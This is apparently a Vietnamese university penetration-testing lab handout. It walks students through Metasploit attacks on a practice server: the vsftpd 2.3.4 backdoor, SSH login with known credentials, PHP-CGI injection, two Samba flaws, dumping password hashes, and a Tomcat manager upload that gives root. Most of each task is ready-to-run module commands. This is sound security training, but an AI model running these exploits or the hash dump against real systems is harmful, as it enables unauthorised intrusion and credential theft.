Tìm hiểu về các công cụ khai thác lỗ hổng bảo mật

1. **Mục đích**

Hiểu về nguyên nhân và tác động của các lỗ hổng bảo mật phổ biến trên hệ thống như FTP, SSH, PHP, Samba và Tomcat. Biết cách sử dụng các công cụ khai thác lỗ hổng, đặc biệt là Metasploit Framework, để phân tích, khai thác và chiếm quyền kiểm soát hệ thống mục tiêu. Nâng cao kỹ năng phát hiện và ứng phó với các lỗ hổng bảo mật trong thực tế.

2. **Yêu cầu đối với sinh viên**

Sinh viên cần có kiến thức cơ bản về hệ điều hành Linux, bao gồm cách sử dụng dòng lệnh, quản lý dịch vụ mạng như FTP, SSH, Apache Server, Samba, và hiểu biết về cách hoạt động của các dịch vụ này. Đồng thời, sinh viên phải nắm được cách sử dụng Metasploit Framework để khai thác lỗ hổng, biết sử dụng công cụ quét mạng như nmap, và có khả năng tự nghiên cứu, áp dụng các công cụ hỗ trợ trong kiểm thử bảo mật.

3. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

labtainer -r pen_tool_basic

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attack**, một cái là đại diện cho máy nạn nhân: **server.** Máy attack sẽ sử dụng nmap để scan cổng và dịch vụ máy **server**.

sudo nmap -sS -sV <Ip server>

Bài thực hành sẽ sử dụng công cụ Metasploit Framework để thực hiện khai thác một vài lỗ hổng đã được phát hiện.

Task 1: Khai thác lỗ hổng backdoor trong dịch vụ FTP vsftpd 2.3.4

Lỗ hổng này là một lỗ hổng backdoor đã được chèn vào dịch vụ vsftpd phiên bản 2.3.4 chạy trên cổng 21. Đây là một lỗ hổng nghiêm trọng cho phép chiếm quyền điều khiển hệ thống thông qua truy cập shell từ xa.

Để thực hiện, sinh viên vào metasploit, sử dụng module khai thác của lỗ hổng:

msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

set LHOST <IP attack>

run

Sau khi thực hiện thành công, một phiên shell được mở với quyền root trên máy victim. Lúc này, sinh viên có thể xác minh quyền truy cập và tiến hành các thao tác tiếp theo như đọc file hệ thống hoặc duy trì quyền kiểm soát.

Task 2: Tấn công xác thực SSH bằng module sshexec

Sinh viên tiếp tục sử dụng module:

use exploit/multi/ssh/sshexec

Module exploit/multi/ssh/sshexec trong Metasploit cho phép thực thi lệnh từ xa qua giao thức SSH khi kẻ tấn công đã biết tên đăng nhập và mật khẩu hợp lệ.

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

set LHOST <IP attack>

set USERNAME ubuntu

set PASSWORD abc123

exploit

Cài đặt các thông số với tài khoản và mật khẩu " ubuntu : abc123 " để sử dụng tấn công xác thực để có quyền người dùng user. Khi thực hiện thành công, module sẽ tạo một phiên (session) từ xa và cho phép kẻ tấn công thực thi các lệnh trên hệ thống đích như thể đang truy cập bằng SSH.

Task 3: Khai thác lỗ hổng PHP-CGI Argument Injection

Sinh viên sử dụng Metasploit Framework để khai thác lỗ hổng Argument Injection trong các phiên bản PHP cũ khi được cấu hình chạy dưới chế độ CGI

(Common Gateway Interface). Lỗ hổng này cho phép thực thi mã lệnh từ xa trên máy chủ web thông qua việc gửi các tham số HTTP độc hại.

Sinh viên tiếp tục sử dụng module:

use exploit/multi/http/php_cgi_arg_injection

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

run

Cài đặt các thông số và thực hiện khai thác thành công lỗ hổng trong các phiên bản cũ của PHP khi nó được cấu hình để chạy với CGI (Common Gateway Interface).

Task 4: Khai thác lỗ hổng Samba Symlink Traversal

Sinh viên sử dụng Metasploit để khai thác lỗ hổng liên quan đến xử lý symlink (liên kết tượng trưng) trong các phiên bản cũ của Samba. Lỗ hổng này cho phép kẻ tấn công vượt qua giới hạn thư mục chia sẻ, truy cập các tệp và thư mục nằm ngoài vùng chia sẻ được cấu hình trên máy chủ Samba.

Sinh viên tiếp tục sử dụng module:

use auxiliary/admin/smb/samba_symlink_traversal

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

set SMBSHARE tmp

run

Cài đặt các thông số và thực hiện khai thác thành công, lỗ hổng thiết kế để khai thác một lỗ hổng liên quan đến việc xử lý **symlink (liên kết tượng trưng)** trong các phiên bản cũ của Samba, cho phép kẻ tấn công truy cập vào các tệp và thư mục nằm ngoài thư mục chia sẻ được định cấu hình trên máy chủ Samba.

Thoát khỏi metasploit và sử dụng smbclient truy cập vào thư mục chia sẻ /tmp/rootfs trên máy Samba Server:

smbclient --no-pass //<IP server>/tmp

cd rootfs

ls

Task 5: Khai thác lỗ hổng Samba Usermap Script

Sinh viên sử dụng Metasploit để khai thác lỗ hổng liên quan đến cấu hình user map script và logon script trong các phiên bản cũ của Samba. Lỗ hổng này tồn tại khi Samba được cấu hình không an toàn, cho phép kẻ tấn công thực thi mã từ xa qua các script được chạy bởi dịch vụ Samba, dẫn đến chiếm quyền root trên hệ thống mục tiêu.

Sinh viên sử dụng module:

exploit/multi/samba/usermap_script

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

run

Cài đặt các thông số và thực hiện khai thác thành công lỗ hổng về cấu hình user map script và logon script trong các phiên bản cũ của samba khi nó được cấu hình để chạy với CGI (Common Gateway Interface), chiếm được quyền root.

Sinh viên background session này để thực hiện với task sau:

Background

Task 6: Thu thập mật khẩu băm từ phiên truy cập

Sinh viên sử dụng module post-exploitation trong Metasploit để thu thập các hash mật khẩu người dùng trên hệ thống Linux sau khi đã có phiên truy cập thành công.

Sinh viên sử dụng module:

use post/linux/gather/hashdump

Thiết lập phiên session của task trước và thực hiện khai thác:

set SESSION 1

run

Cài đặt các thông số và thu thập được user hash.

Task 7: Khai thác lỗ hổng upload file trong Tomcat Manager

Sinh viên sử dụng Metasploit để khai thác lỗ hổng upload file không an toàn trong dịch vụ Tomcat Manager chạy trên cổng 8180. Với tài khoản và mật khẩu quản trị (tomcat:tomcat), sinh viên thực hiện khai thác để tải lên và thực thi mã độc, chiếm quyền root trên máy chủ.

Sinh viên sử dụng module:

exploit/multi/http/tomcat_mgr_upload

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

set LHOST <IP attack>

set RPORT 8180

set HttpPassword tomcat

set HttpUsername tomcat

run

Cài đặt các thông số với tài khoản và mật khẩu là " tomcat : tomcat " và thực hiện khai thác thành công lỗ hổng upload file không an toàn trong Tomcat Manager, chiếm được quyền root.

Sinh viên tìm đọc file cờ ở ngẫu nhiên trong các thư mục trong đường dẫn /home/ubuntu.

Kiểm tra kết quả:

Sinh viên thực hiện kiểm tra tiến độ và kết quả các task bằng lệnh sau:

checkwork

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab <ten_bai_lab>

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

labtainer –r pen_tool_basic